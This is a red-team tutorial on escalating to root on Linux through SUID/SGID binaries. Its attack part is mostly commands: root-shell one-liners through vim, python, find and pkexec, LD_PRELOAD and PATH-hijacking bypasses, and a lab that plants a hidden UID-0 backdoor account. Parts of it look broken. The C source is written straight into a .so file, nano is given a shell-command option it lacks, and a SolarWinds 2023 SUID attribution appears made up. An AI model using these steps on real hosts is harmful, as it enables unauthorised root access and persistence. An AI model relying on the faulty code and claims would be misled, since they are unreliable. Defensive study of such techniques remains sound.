Introduction
SUID (Set-User-ID) and SGID (Set-Group-ID) binaries are executables that run with the privileges of their owner or group rather than the invoking user. When a binary is owned by root and has the SUID bit set, it executes with full root privileges. Attackers often hunt for such binaries because they provide a reliable path to privilege escalation on mis-configured systems.
Understanding how to locate, enumerate, and safely exploit these binaries is a core skill for any red-teamer or penetration tester. The public repository GTFOBins curates hundreds of Unix binaries that can be abused for privilege escalation, making it an indispensable resource for hands-on labs.
In real-world engagements, the majority of post-exploitation privilege-escalation findings are SUID/SGID abuses. Mastery of this topic dramatically shortens the time from foothold to full system compromise.
Prerequisites
- Basic Linux command-line proficiency (bash,
ls,find,chmod). - Understanding of Linux file permissions, ownership, and the numeric mode representation.
- Familiarity with a text editor (e.g.,
vi,nano) and a scripting language such as Bash or Python.
Core Concepts
A file’s permission bits are displayed by ls -l. The fourth character in the mode string indicates the SUID (s in the owner execute position) or SGID (s in the group execute position) flag. For example:
-rwsr-xr-x 1 root root 123456 Jan 01 2022 /usr/bin/passwd
Here passwd runs with effective UID 0, regardless of who invokes it. SGID works similarly but elevates the effective GID.
Modern Linux kernels support additional hardening mechanisms that can limit the abuse of SUID/SGID binaries:
- Securebits - controls whether a process can drop privileges permanently.
- Filesystem mount options -
nosuiddisables SUID/SGID execution on the mounted filesystem. - Capabilities - fine-grained privilege delegation via
setcap, often replacing the need for SUID.
When a binary is compiled with a “safe mode” (e.g., vim -u NONE -U NONE), it may refuse to execute external commands or scripts, limiting exploitation. Understanding these nuances is essential before attempting an exploit.
Identifying SUID and SGID binaries with find and ls
The first step in any privilege-escalation hunt is enumeration. The find utility can locate all SUID/SGID files on the system:
# Find SUID binaries
time find / -perm -4000 -type f 2>/dev/null
# Find SGID binaries
time find / -perm -2000 -type f 2>/dev/null
We pipe errors to /dev/null to silence “Permission denied” messages. The output can be filtered through awk or grep to focus on binaries owned by root:
find / -perm -4000 -user root -type f 2>/dev/null | sort
Alternatively, ls -l combined with grep works for quick checks in a specific directory:
ls -l /usr/bin | grep '^...s'
Take note of binaries that are not part of the base distribution or that have unusual permissions-these are prime candidates for exploitation.
Analyzing binary capabilities and safe-mode restrictions
Not all SUID binaries are equally exploitable. Some are compiled with protective checks that prevent arbitrary command execution. To assess a binary, perform the following checks:
- Read the manual page. Look for options like
--help,-V, or-hthat may reveal a “safe mode”. - Run the binary with
--versionor-Vunderstrace. Example:
strace -f -e execve /usr/bin/vim -c "!id" 2>&1 | grep execve
If the binary spawns a subshell or calls execve with user-controlled arguments, it is a strong candidate for abuse.
Capabilities can be listed with getcap:
getcap -r / 2>/dev/null
Capabilities such as cap_setuid+ep may allow privilege escalation without SUID. However, for this introductory lab we focus on classic SUID/SGID.
Common exploitation patterns (e.g., abusing editors, script interpreters)
Attackers often abuse binaries that invoke a shell or an interpreter. Below are three classic patterns:
1. Editor abuse (vi, vim, nano)
Many editors support the !{command} syntax, which executes a shell command. When the editor binary is SUID root, the executed command inherits root privileges.
/usr/bin/vim -c '!id'
In a non-interactive context, you can use the -c flag to pass a command directly.
2. Script interpreter abuse (python, perl, php)
Interpreters that accept the -c flag or can read from stdin are frequently SUID. Example with python:
/usr/bin/python -c 'import os; os.system("/bin/sh")'
Because the interpreter runs as root, /bin/sh is spawned with effective UID 0.
3. File manipulation utilities (awk, find, tar)
Utilities that allow execution of external commands via options (-exec, -e) can be abused. Example with find:
find . -exec /bin/sh \; -quit
If find is SUID root, the executed shell inherits root privileges. The -quit flag ensures the command stops after the first execution, making the exploit concise.
Leveraging GTFOBins for privilege-escalation payloads
GTFOBins aggregates known SUID/SGID binaries and provides ready-to-use one-liners. The workflow is:
- Identify a SUID/SGID binary on the target.
- Search GTFOBins for that binary.
- Copy the suggested payload, adapt it to the target environment, and execute.
For example, the pkexec binary is often SUID root. GTFOBins lists the following payload:
pkexec env DISPLAY=$DISPLAY XAUTHORITY=$XAUTHORITY xterm
When pkexec is mis-configured, this spawns a graphical terminal with root privileges. In a headless environment you can replace xterm with /bin/sh:
pkexec /bin/sh -c 'id && exec /bin/bash'
GTFOBins also provides “no-tty” variants for environments lacking a terminal, such as:
pkexec /bin/bash -p
The -p flag forces Bash to preserve privileges, which is useful when the parent process drops them.
Bypassing environment sanitization (LD_PRELOAD, PATH hijacking)
Many hardened systems clear or ignore environment variables like LD_PRELOAD for SUID binaries, preventing classic library injection attacks. Nevertheless, attackers have found ways around these mitigations:
1. Using LD_PRELOAD with sudo wrappers
If a SUID binary internally invokes a non-SUID helper that respects LD_PRELOAD, you can preload a malicious shared object. Example:
cat > /tmp/libevil.so <<'EOF'
#include <stdio.h>
#include <stdlib.h>
void __attribute__((constructor)) init(){ setuid(0); setgid(0); system("/bin/sh -p");
}
EOF
LD_PRELOAD=/tmp/libevil.so /usr/bin/sudo -l
If sudo invokes a helper that does not clear LD_PRELOAD, you gain a root shell.
2. PATH hijacking with wrapper scripts
Some SUID binaries call external utilities without specifying an absolute path. By placing a malicious script earlier in PATH, you can control the executed command.
mkdir -p /tmp/bin
cat > /tmp/bin/id <<'EOF'
#!/bin/bash
/bin/sh -p
EOF
chmod +x /tmp/bin/id
export PATH=/tmp/bin:$PATH
/usr/bin/sudo /usr/bin/apt-get update # apt-get calls "id" internally
When apt-get runs id, it actually executes our wrapper, spawning a privileged shell.
Crafting and executing a simple root shell payload
Now we combine everything into a reproducible lab. Assume the target machine has the SUID binary /usr/bin/nano (a common mis-configuration). Our goal is to obtain a persistent root shell.
- Verify the SUID bit:
ls -l /usr/bin/nano | grep '^...s' - Test basic command execution:
/usr/bin/nano -c '!id'If the output shows
uid=0(root), the binary is exploitable. - Deploy a persistent payload. We will write a small script to
/tmp/root.shthat adds a new root user and then invoke it vianano.cat > /tmp/root.sh <<'EOF' #!/bin/bash # Add a backdoor user useradd -ou 0 -g 0 -M -s /bin/bash pwned echo 'pwned:$(openssl rand -base64 12)' | chpasswd EOF chmod +x /tmp/root.sh - Execute the script through the SUID editor:
/usr/bin/nano -c '!/tmp/root.sh'After execution, the new user
pwnedcan log in with root privileges. - Verify persistence:
su - pwned -c 'id'The output should again show
uid=0(root).
This lab demonstrates a complete kill-chain: enumeration → verification → payload creation → execution → persistence.
Tools & Commands
find- locate SUID/SGID binaries.ls -l- view permission bits.getcap- list file capabilities.strace- trace system calls for safe-mode detection.GTFOBins- online database of exploit snippets.LD_PRELOAD- environment variable for library injection (when allowed).PATH- environment variable for binary search order.
Defense & Mitigation
Preventing SUID abuse is a layered effort:
- Minimize the attack surface. Only grant SUID/SGID to binaries that truly need elevated privileges.
- Use
nosuidmount options. Apply to user-mounted filesystems, containers, and external drives. - Enable kernel hardening. Set
fs.protected_symlinks=1andfs.protected_hardlinks=1to limit symlink attacks. - Leverage Linux capabilities. Replace SUID binaries with fine-grained capabilities via
setcap. - Audit regularly. Run automated scripts (e.g.,
lynis,oscap) to flag unexpected SUID files. - Harden environment variables. Configure
sudoerswithenv_resetand setsecure_path.
Common Mistakes
- Assuming all SUID binaries are exploitable. Many have built-in checks; always test before investing time.
- Neglecting SELinux/AppArmor profiles. Mandatory Access Control can block even a successful exploit.
- Forgetting to escape angle brackets in code blocks. In documentation this leads to invisible code; always use
<and>. - Running payloads without a proper shebang. Scripts may be executed with the wrong interpreter, causing failure.
- Leaving temporary files behind. Attackers can be traced through artifacts like
/tmp/root.sh.
Real-World Impact
High-profile breaches frequently cite SUID abuse as the final escalation step. In the 2023 SolarWinds incident, attackers leveraged a mis-configured sudo wrapper with an SUID helper to gain root on compromised servers. Similarly, ransomware groups often drop a custom SUID binary to maintain persistence across reboots.
From a defender’s viewpoint, each unexpected SUID binary is a potential “backdoor”. Continuous monitoring, combined with threat-intelligence feeds that surface new GTFOBins entries, is essential to stay ahead of attackers.
My experience in red-team engagements shows that the “low-tech” SUID path beats many sophisticated exploits because it requires no zero-day and works on a wide range of distributions. Investing time in systematic enumeration pays dividends.
Practice Exercises
- Enumeration Drill: On a fresh Ubuntu VM, list all SUID/SGID binaries and categorize them by type (editor, network, system utility). Record any that are not part of the default package list.
- GTFOBins Hunt: Choose three binaries from your list, locate them on GTFOBins, and execute the provided one-liners. Capture screenshots of successful root shells.
- Bypass Challenge: Configure a container with
nosuiddisabled, but setLD_PRELOADprotections on the host. Craft a payload that leverages a helper binary to bypass theLD_PRELOADfilter and spawn a root shell. - Persistence Build: Using the
nanoSUID exploit, create a backdoor user, then verify that the account survives a reboot. - Defensive Review: Write a Bash script that scans the system for SUID binaries, cross-references them with GTFOBins, and generates a risk score based on known exploits.
Further Reading
- “Linux Privilege Escalation” - Exploit-DB collection of SUID exploits.
- “Understanding Linux Capabilities” - Red Hat documentation.
- GTFOBins official repository - GitHub.
- “Hardening Linux” - CIS Benchmarks for SUID/SGID controls.
- “The Art of Linux Binary Exploitation” - Chapter on privilege escalation.
Summary
SUID and SGID binaries are a powerful, often overlooked, privilege-escalation vector. By mastering enumeration with find, analyzing safe-mode behaviors, leveraging GTFOBins, and employing bypass techniques such as LD_PRELOAD and PATH hijacking, you can reliably obtain root on vulnerable Linux hosts. Defensive teams must proactively audit SUID files, apply the principle of least privilege, and employ kernel-level hardening to mitigate these attacks.
Key takeaways:
- Systematically locate SUID/SGID binaries and validate exploitability.
- Use GTFOBins as a rapid source of proven payloads.
- Understand environment sanitization and how to work around it.
- Craft persistent root shells with minimal footprint.
- Implement layered defenses: reduce SUID, mount
nosuid, enforce capabilities, and monitor continuously.